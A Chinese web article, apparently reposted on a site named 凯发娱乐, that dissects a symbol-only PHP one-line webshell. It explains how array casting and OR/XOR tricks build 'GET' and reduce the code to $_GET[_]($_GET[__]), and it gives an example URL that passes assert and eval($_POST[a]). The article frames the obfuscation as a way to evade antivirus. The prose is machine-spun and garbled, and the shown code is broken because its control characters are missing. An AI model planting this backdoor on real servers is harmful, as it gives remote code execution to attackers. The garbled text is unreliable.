分析PHP纯符号一句话webshell的代码快报 - 凯发娱乐

分析PHP纯符号一句话webshell的代码快报

2019-02-14 07:27:17 | 作者: 寄风 | 标签: 代码,符号,运算 | 浏览: 6097


仿制代码代码如下:
<?php
$_="";
$_[+""]=;
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
${_.$_}[_](${_.$_}[__]);
?>

以上是网上撒播的一段由纯符号组成的一句话后门代码,这种代码混杂办法首要用以webshell免杀。下文将具体剖析这段看似杂乱的PHP变形代码。

榜首行:$_="";
界说一个以下划线作为命名的字符变量:$_,赋值为空。
此行实际上不影响代码履行作用,仅添加混杂作用。

第二行:$_[+""]=;
界说一个$_数组元素,其key为+"",赋值为空。
众所周知,PHP是个弱类型言语,也就是说PHP并不严厉验证变量类型,所以这儿+""作为数组了key,其值等同于0,所以此行等同于$_[0]=;
此刻$_被界说为数组,掩盖上一行的界说。

第三行:$_="$_"."";
将变量$_强制转化为字符串,由于此刻$_类型为数组,强制转化后的成果为字符串"Array"(string(5) "Array" ),而非数组元素的值。

第四行:$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
这一行涉及到计算机二进制的“或运算”和“异或运算”,这儿先简略介绍下这两种运算规矩:
1、或运算,符号为 |
运算规矩:0|0=0; 0|1=1; 1|0=1; 1|1=1;
简略来说,或运算前后两个目标 只需有 一个为1,其值就为1,否则为0
2、异或运算,符号为 ^
运算规矩:0^0=0; 0^1=1; 1^0=1; 1^1=0;
简略来说,异或运算能够看成是判别前后两个目标是否持平的,假如两个目标不同(即为异),则值为1,否则为0

再回到代码上来,此行代码分三个部分($_[+""]|"")、($_[+""]|"")、($_[+""]^""),用衔接符“.”号相连,每个部分都是其间两个目标进行"或运算"或"异或运算"。
先看榜首部分($_[+""]|""),很明显,这儿是$_[+""]和""这两个目标进行“或运算”。
榜首个目标$_[+""](也就是$_[0]),要留意其值现已不是第二行界说的空值,由于在第三行时$_变量现已被掩盖界说为字符串“Array”。这儿涉及到另一个php常识细节:关于 字符串[数字] 结构,字符串将会当成数组处理,回来以后边数字作为索引的元素值,例如:$x=abcd9.com,则$x[4]=9。可见,$_[+""]值为字符串“Array”榜首字符“A”。
第二个目标""是一个特别字符(留意:这不是短横,尽管长得很像,实际上是个特别字符,此类符号在某些环境下无法辨认而作为乱码处理。后边两部分中的特别字符也如此。),暂不论为什么此处是这个特别字符而不是其他字符,先在此行下添加一行测验代码显现这一行界说的$_值:
var_dump($_);
测验成果为:string(3) "GET" ,可见,($_[+""]|"").($_[+""]|"").($_[+""]^"")值"GET",清楚明了,($_[+""]|"")值为“G”,($_[+""]|"")值为“E”,($_[+""]^"")值为“T”。
再先看榜首部分($_[+""]|"")值为"G",上面已得到$_[+""]值为“A”,即("A"|"")="G",下面剖析下此等式:
“A”二进制:0100 0001
“G”二进制:0100 0111
0100 0001 | x = 0100 0111
经过或运算规矩推导并参阅ASCII码对照表,x值可能有以下几个成果:

仿制代码代码如下:
01000110 //ASCII可显现字符:F
01000111 //ASCII可显现字符:G
00000110 //ASCII控制字符:ACK,代表“承认回应”
00000111 //ASCII控制字符:BEL,代表“响铃”
代码中的""即为ASCII控制字符:ACK。其实别的三个字符也适用,为了添加混杂作用故选用这种特别字符。
搞清楚榜首部分,第二、第三部分也同理可推。

第五行:${_.$_}[_](${_.$_}[__]);
此行可经过小括号分红两部分:${_.$_}[_] 和 ${_.$_}[__],两部分结构均是${A}[B],差异仅是后边B是一条下划线仍是两条小划线。
先看相同部分${_.$_},这儿涉及到大括号{}在php中的特性一个:在变量直接引证中进行定界,如"$abc"为变量$abc,而"${a}bc"为变量$a衔接字符"bc",了解了这一特性,而第四行对$_赋值为“GET”,可见${_.$_}即为变量$_GET,加上后边[_],则为$_GET[_],接纳"get"的表单中的变量为_的值。小括号里的部分同理。
依据上面叙说,第五行代码复原后是:$_GET[_]($_GET[__]);

至此,这段混杂代码已暴露无遗,一句话后门代码原形为:$_GET[_]($_GET[__]),传递特别参数构建webshell链接网址(例如:https://www.test.com/webshell.php?_=assert&__=eval($_POST[a])),经过一句话木马客户端即可衔接此URL。

版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表凯发娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章